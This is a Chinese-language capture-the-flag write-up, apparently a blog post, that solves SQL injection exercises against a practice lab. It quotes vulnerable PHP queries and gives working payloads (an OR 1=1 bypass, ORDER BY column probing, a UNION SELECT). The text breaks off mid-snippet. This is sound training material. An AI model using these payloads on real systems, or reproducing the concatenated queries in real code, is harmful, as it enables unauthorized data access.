sql注入习题
来源于ctfs.me的一道习题,实在做不出来,google了wp,发现这道题目是引自于其他习题集了,而且原题目是有源码的。。。于是趁机把他的题目做了一遍
http://35.184.20.243:8003/ <——sql注入靶场地址
level1
这道题目其实没有源码也是可以做的,不过需要简单思考一下
$query = "SELECT * FROM secrets WHERE session_id = '" . $_POST['session_id'] . "'";
这个语句,我们需要让where 后面的为true,所以我们需要用到or,比较简单的题目
payload:1' or 1=1 #
在get your secrets里面输入,就可以得到所有的secrets,第一个就是flag
level2
这道题目在ctfs.me上很坑,我不晓得大佬是怎么做的。
假如不给源码,我首先想到的是万能密码登陆,一顿操作之后,发现注入点在用户名的位置登陆不了,gg
换思路,考虑这个登陆的回显
payload:username:1'order by 1# &password=dd
回显: username/password is invalid
payload:`username:1’order by 2# &password=dd’
回显: invalid sql query
可以知道只有一列,所以我们可以看看回显的位置
payload: username=1' union select 1 -- -&password=dd
回显。。。,回显出flag了,但是页面显示的不是真正的,查看源码发现另一个flag,get!
假如给了源码,那就稍微简单一点了
if (isset($_POST['username']) && isset($_POST['password'])) {
// $query = "SELECT flag FROM my_secret_table"; We leave commented code in production because we're cool.
$query =